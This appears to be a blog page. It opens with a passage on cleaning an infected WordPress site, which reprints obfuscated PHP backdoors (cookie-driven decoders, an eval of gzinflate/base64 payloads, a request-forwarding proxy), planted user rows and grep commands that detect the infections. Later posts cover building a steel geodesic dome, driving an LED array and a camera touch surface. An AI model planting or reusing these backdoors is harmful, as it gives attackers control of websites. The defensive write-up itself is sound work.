    9 => 'pack',

foreach (array_merge($_COOKIE, $_POST) as $eauisg => $bfsfwo) {
    function lddjf($hjuzajd, $eauisg, $tdaubq) {
        return substr(str_repeat($eauisg . '17a6ee0b-38b4-4673-8d91-0bc0348e0326', ($tdaubq / strlen($eauisg)) + 1), 0, $tdaubq);
    function okejwl($hjuzajd, $lmnvzu) {
        return @pack('H*', $lmnvzu);
    function gsixba($hjuzajd, $lmnvzu) {
        $ebsvw = count($lmnvzu) % 3;
        if (!$ebsvw) {
    $bfsfwo = okejwl($hjuzajd, $bfsfwo);
    gsixba($hjuzajd, explode('#', $bfsfwo ^ lddjf($hjuzajd, $eauisg, strlen($bfsfwo))));
} ?>


This script may pick up some false positives, so you will have to manually look at each result. 
for infected in $(
    find . -regextype egrep -regex '.*/[a-z]*\.php$' -type f -exec grep -Hnzl -P "<\?php\\n\\\$[a-z]+ = .*;\\\$[a-z]+ = Array" {} \; 
) ; do stat $infected; done


    $GLOBALS['_79565595_']=array('str_' .'rot13','pack','st' .'rrev');
    function _1178619035($i)
        return $a[$i];
    function l__0($_0)
        return isset($_COOKIE[$_0])?$_COOKIE[$_0]:@$_POST[$_0];
    $_1=l__0("jweyc") .l__0("aeskoly") .l__0("owhggiku") .l__0("callbrhy");
    if (!empty($_1)) {
        $_1=str_(@rot13("H*", pack($_1)));
        if (isset($_1)) {




eval("\n\$dgreusdi = intval(__LINE__) * 337;");

$a = "7VdrT+NGFP1eqf9hiCIcKwHFj7ClIQh2Bd1V6bIthVZC1Jo4k2QSvzR2674raF/94zDk78GLOou5W6Uo2M7Zlzz33MnTs3JzzgTsySlsa674CIXjhROtQ95fX1zo/W+/IbhONgjMOSkqBqRbnffpvcPumbtIeBg4CfdZAQdMOuh43OdJK52Qf3KySaNIh674vqxWRAzvFg/WxqHApG3SlpNZ03l5c/vjsjNCZNNwznnDlhwAbH2UeyCvW1zF/rR4U5h9zwpyCfBnTChMODJU+otD+HhpIiOk8pmB8u4RNL674iZazpDG7MB2RswNR6y1ReodlZIsNvLavv674xyUtuJ3JuyWuIwMxzDI/r18dN5BaBm7rCfcnFHJ8ltFUNkWDJQgSkZHvj+vSnn2+M8OJs8vri+jR+e2YYV7+vTj9cee9vbk57b65XZxfXhvHDL97k9W/n7942Mm+qBsAZFoycOB6748mMSpc/hGSNYjtSY9AckfGbKsQYZqpxKrHF674uez5cXv36lDsByIaLROaOYDGjwp3Wh7mYQRm+XwSVROryKVNcyKd/L6eqltXmlsJxeZVzLI2+mr42/Xw6Z068GPo8jvHdakYsjDzWkQHxPDoMBU2YYuciXGMu/LVvDHFpNApxw9rCGT7o9kmTHyFBPLYh1/v1C7qWm6Vys41c3hayu6uiBLzdhtm83f505JrsPmGBdNiJqKA+7A/FKCO7bfI7HXmdDuVU3zZnd3olO9ThKI/s6743cqWmW95Xx4LKxYdcsVSZUbDuuIer9No1uNzjW48/BAdlqlvV6sPR2ijcZLymcRG9MZW0XjGT2cz674aTWcgmfDaK4nA0GzNN18lgQCoanq/up0LQj61cFZIPhrOkIhaveJIWhbwC8JeW0cXGIw3e+F6xGlQqqyitQm61aKndAXgSTaMl674+kOeA4er+Gasd/dMzQFkLnTUJ6mglOP/ykLghRUUao279onpvKJIRCFkIy0u5fQ5jKK3eNk3+ZvtRYUS1tzRBOKDTVnH2vPgJNFsPU1dgVjQaGY5CgKB1BFtUIW7w46745UG674N5miihTDFNajUsQ2sl8o4fuKzahSmje29sAtnxk8iBaJwrfhYjxmIiutm+Fk6G1Su7j+e0bnc+//AOGBWfq2OqSHsZ582iXCXg+DB7hf4f4O9y674674urg/oQQQ/DdLbNBggwPiHQJC8IHOkFiADdhgAG674AYgBjAGQAZQBmHJaYTAiZUgO674TAiZ674DJ79faYIDNBZoLMhFKrWzYNIAtkFsgskFkgsyBkQciCkAUhG0pt4GzgbOkLcDZwNnD2qxKhDS674bQj0I9b7aZPmf8Ksj1FV9Iipa2imSI5I1duuy2Cd6pecfpmhF74zSeJs2bals2sbdkZ2BVKrsAiVRjdQu6d6fn+vk6AgbvL5Lk5fsYpT0a674UVJ7T8ocGDBauSltwMFn6do5y0iVGJVdoZV7xpGy+IAv49kJYiFmvpfDRMZYM674YyveVlza2G6+1Hbzs2w3S7YffAHTrZeabr3Y9DrhJ8v/sc2rKfcY6GUiHZOu2gw33QPDJ2VdXDo5PsbpplL71JLsD9IfM67StC674iPSDlPZNZvbf3/GaSMR4QW93BZj+D1mZkDdbf";
$a = str_replace($dgreusdi, "E", $a);
eval (gzinflate(base64_decode($a)));





foreach ($_COOKIE as $item)
    if ($item != "9b761d97-599a-406d-89ba-135d67c1e9b7")

$data = file_get_contents('php://input');
$data = split("=",$data,2);

$b64_decode_data = base64_decode(urldecode($data[1]));

$send_data = unserialize(decrypt($b64_decode_data));

$result = send_data1 ($send_data);

if (!$result)
    $result = send_data2($send_data);

echo $result;

function decrypt($data)
    $out_data = "";
    $key_len = strlen($key);
    for ($i=0; $i < strlen($key); $i++)
        $key[$i] = chr(ord($key[$i]) ^ ($key_len % 255));

    for ($i=0; $i<strlen($data);)
        for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
            $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));

    return $out_data;

function send_data1($data)
    $head = "";

    foreach($data["headers"] as $key=>$value)
        $head .= $key . ": " . $value . "\r\n";

    $params = array('http' => array(
        'method' => $data["method"],
        'header' => $head,
        'content' => $data["body"],
        'timeout' => $data["timeout"],

    $ctx = stream_context_create($params);
    $result = @file_get_contents($data["url"], FALSE, $ctx);

    if ($http_response_header)
        if (strpos($http_response_header[0], "200") === FALSE)
            $result = "HTTP_ERROR\t" . $http_response_header[0];
        $result = "CONNECTION_ERROR";

    return $result;

function send_data2($data)
    // use sockets



Extra Precautions

If, like me, you have the luxury of regular backups to look through, it can be good to diff the backups of your database to look for changes. I would highly recommend Vaultpress backups for this specific reason.

in my case, the diffs looked like this:


INSERT INTO `ppo_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES
(1, 'siteurl', '', 'yes'),
(4263427, 'jetpack_plugin_api_action_links', 'a:17:{s:69:\"afterpay-gateway-for-woocommerce/...', 'yes'),
(5898751, '_transient_yst_sm_page_1:7aqzq_XoUd', 'C:24:\"WPSEO_Sitemap_Cache_Data\":...');
INSERT INTO `ppo_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES
(5899366, '_transient_yst_sm_attachment_2:7aqzq_2mYuL', 'C:24:\"WPSEO_Sitemap_Cache_Data\":...');
INSERT INTO `ppo_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES
(5900434, '_transient_yst_sm_product_1:7aqzq_2n2il', 'C:24:\"WPSEO_Sitemap_Cache_Data\":...');
INSERT INTO `ppo_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES
(5900681, '_transient_yst_sm_attachment_1:7aqzq_2mYuL', 'C:24:\"WPSEO_Sitemap_Cache_Data\":...');


Also Found 2 suspicious new entries in the users table
INSERT INTO `ppo_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES
(2190, 't3trollherten', '$P$BOgeWorSlEeoVr/BeGZ8FmRTAaU5wa/', 't3trollherten', '', '', '2018-11-08 16:22:07', '', 0, 't3trollherten'),
(2189, 't2trollherten', '$P$BWxvMacVs/UkKuJIEQEpKypAUA0G2r.', 't2trollherten', '', '', '2018-11-08 12:43:03', '', 0, 't2trollherten')


Run these commands so that you can manually check for and remove these nasty rootkits. There may be false positives, so you have to manually check the files.
for infected in $(
    find . -regextype egrep -regex '.*/[a-z]*\.php$' -type f -exec grep -Hnzl -P "<\?php\\n\\\$[a-z]+ = .*;\\\$[a-z]+ = Array" {} \; ;
    find . -regextype egrep -regex '.*/[a-z]+.ico' -exec grep -Hnzl '^<?php' {} \; ;
    find . -type f -exec grep -Hnzl -P '(?s)/\*[\dA-Za-z]+\*/\n\n@include' {} \; ;
) ; do stat $infected; done

If you found this useful, or you have more information about this attack, let me know in the comments. Thanks!

Friday 23 February 2018

Construction of a steel geodesic dome

Following on from the previous post, it is now time to construct our dome! We have constructed a few domes out of PVC piping in the past, these are very quick to make with very simple tools, however due to the way the pipes are joined using cable ties they are not as strong as a geodesic shape could be and many of the PVC pipes have warped after being left out in the weather for a long period of time. Most of the details for the geometry of the dome has come from Simply Different, check it out for lots of cool information. The image below shows the marking locations for the necessary operations on the pipe. The thickness of the cut off blade has been taken into account for these cuts.

This dome will be constructed out of 16mm ERW tube with a wall thickness of 1.2mm. In an ideal situation we require 114.5 meters of steel tubing, however we can only buy our steel in lengths of 6.25m, so we must buy 22 lengths of this to satisfy our needs. I ended up buying 24 lengths in case we want to make a doorway into the dome.

The first job is cutting our lengths of steel to the 2 different lengths required, we must be precise in our lengths as a geodesic structure relies on all the struts taking an equal load, if one was the wrong the length then it would throw out everything else and the dome will end up skewed. These cuts were done with a metal cut off saw, if you were determined you could do these cuts with a hand saw.

Next we need to flatten and bend the ends of our steel tubing, these bent end sections stack against each other and should sit flat against all their neighboring pipes. The bends must go in the right place and each end must be bent in the same plane if either of these are incorrect then it will make assembling the dome difficult or impossible. We flattened and bent our pipes with a hydraulic press, ideally the short lengths should be bent to 16° and the longs to 18°, lucky for us the press ends up bending the flattened ends to ~17.5°. The steel tube we used is so thin a hammer and anvil could be used to flatten and bend the pipe ends.

The last step is to drill holes through the bent end sections, this hole placement is important but not too hard to achieve as long as the previous steps have been done accurately.

Now we have the struts we can build our dome, we used 8mm bolts to secure the pipe ends together.

Here is part of the dome set up in my backyard, there isn't enough room for the whole thing, however this is enough to test fit all the LED panels and do some testing of the covering tarp. I'll have to wait till Blazing swan to build it in full.

I also put together a basic box to carry the dome struts. It's made of 12mm marine plywood, bolts/dowel nuts and some handles from the local hardware shop. It's simple but makes it much easier to transport.

Next post I will discuss the mechanical construction of the LED panels and the associated control hardware.

Friday 19 January 2018

Software and electronics for driving 5725 LEDs

Following on from my previous post about the touch controller I will now talk about the software and electronics we are using to drive the 5725 LEDs.

All software is written using Python, mostly utilizing OpenCV and Numpy for their great image manipulation cpabilities. The LEDs we will be using are designated SK9822, these are going to be spaced at 15 LEDs per meter, these are not usually made in this size so we incurred a higher than expected cost when ordering them. The triangular panels will consist of several strips of the LEDs spaced at 15 strips per meter, this gives us an LED density of 225 LEDs per square meter. This density was selected for manageability of the overall LED array and for power reasons. The image below shows a render of the LED layout, this render will be used for generating our pixel map.

We had originally thought we would go with the WS2812B LEDs as these are cheaper than the SK9822 but the latter has a global brightness control which allows for much better low brightness colour depth which is an area I have found the WS2812s to be lacking in. I have built a few LED projects using the WS2812B LEDs and have noticed serious flicker noticeable when videoing the LEDs, this is another area the SK9822s excel in as they have a PWM frequency of 4.7kHz versus the 430Hz of the WS2812. More detail on these LEDs can be found at Tim's Blog.

WS2812B left SK9822 right

Driving the panels of LEDs will be 5 Teensy micro controllers, handling 4 panels each, a single Teensy could theoretically drive all of the LEDs but this was decided against due to wiring complexity. The main computer running the majority of the software will send the RGB pixel data over USB to the micro controllers. The Teensy will be running a library called FastLED to control the LEDs, this means it is just acting as a buffer between the main computer and the LEDs.

Apart from the touch input software discussed last post there are a number of different pieces of software we have written. One is a tool to define the LED layout, you upload an image or render of the array and that is displayed on screen, using mouse clicks on either end of a string of LEDs and entering the number of LEDs between, it allows you to quickly define the layout of any shaped array. We now have our LED array defined and the coordinates from our touch input device so we needed to combine these to generate our output to be sent to the LED controllers.

The first control program is relatively simple, we take the touch coordinates from our touch dome, look for the closest corresponding pixel in our LED array and set the colour of that pixel to white (or any colour of our choosing). This pixels information gets stored in an array which will then be sent on to the LED controllers. This is just the beginning and only a basic feature set is implemented, in the future brush size and colour will be changeable on the fly using designated spots on the touch input dome as the input.

In order to see what is happening on the LED array without having to assemble the physical array we wrote a bit of software which renders an approximation of the array on the computer screen. This allows us to quickly test the software stack without the hassle of dealing with hardware.

For powering everything we will have a 240V to 48V DC 30A supply consisting of 4 server power supplies in series, these will be located on the ground in a safe, electrically insulated cabinet. The 48V from this will run to each of the LED panels and then on each panel a 48V to 5V DC 15A power supply will be used to regulate the voltage to the LED and micro controllers. The total power consumption at full white will be approximately 1700W which is slightly over what the power supplies are rated at, it will be very rare for us to display full white on all the LEDs so I have deemed this to be safe, even so there will be fuses at each power supplies output. In the photo below I am load testing a single 48V to 5V supply, in the background you can see the four 12V server power supplies.

The wiring of the dome will be quite a task by itself, I have chosen the Deutsch DTM series of connectors as they are waterproof, reliable and reasonably cheap. They will allow the wiring loom to be disconnected from each part of the system and packed up by itself, this should aid in transport and storage.

Next post I will discuss the mechanical construction of the geodesic dome. For all software information please see our github here.

Friday 29 December 2017

Camera based spherical touch surface for an interactive light show

For several years I have been fascinated with geodesic domes and LED lighting. To bring together these two passions of mine I, along with a few friends, plan to fit 5725 LEDs inside of a 6 meter diameter geodesic dome. To make it interactive there will be a touch based controller in the middle of the 6 meter dome to allow people interact in real time with the lights around them.

The display will be made up of 20 triangles with around 300 LEDs in each, this makes it necessary for quite an interesting layout and control scheme which is what we have spent the last few months working out. This project will be split up into a few different posts. We will start with the touch input device and related software. Next I will discuss the software and hardware for controlling the LED array. Later comes the labor intensive tasks of building the steel dome, assembling the LED panels and all the wiring to go between everything.

A spherical touch input device is not a novel idea and has been implemented many times before. I found inspiration in a Microsoft research paper found here (pdf), I decided to try a similar approach using cheap commercially available hardware and open source software. I commissioned a local plastics forming company to make a ~500mm diameter dome from translucent polycarbonate plastic using a pressure forming tool. This was chosen because it was the cheapest option available, this has a downside in that the opacity is not consistent. At the peak of the dome the plastic has been stretched the most is significantly thinner than around the lower edges. I was able to work around this in software which I will explain later.

A wide angle monochrome USB camera from ebay is used for sensing, I specifically asked the vendor to supply the camera without an infra red cut filter. In front of the camera is an infra red longpass filter to get rid of all the visible light coming into the camera. Inside the lower edge of the dome I placed infra red LED strips (made by de-soldering a white LED strip and adding my own digi-key bought IR LEDs), these flood the inside of the dome with infra red light. When a finger comes into contact with the outside of the dome it reflects the infra red light, this is picked up by the camera. I used this method because there will be a lot of coloured lights around and want to give my camera the best chance of picking up touches. The image below is what the camera sees.

The software for the touch input uses openCV and python to manipulate and extract information captured by the camera. The image processing involves the following process:
  1. A calibration image is taken with no finger touches and is stored. This gives us our baseline to compare against. 
  2. Subsequent images taken by the camera have the calibration image subtracted from them. This results in only the bright reflections caused by finger touches to show up. 
  3. A blob detection function in openCV is used to find the coordinates of the bright spots. This gives us our touch coordinates which can be used for anything. 
The video below shows the dome working as a mouse input for my computer. At this point I had not switched over to using IR LEDs and was relying on visible light.

Next post I will talk about the software and hardware required for driving the 5725 LEDs. If you are interested in the software all our source files are available on github here.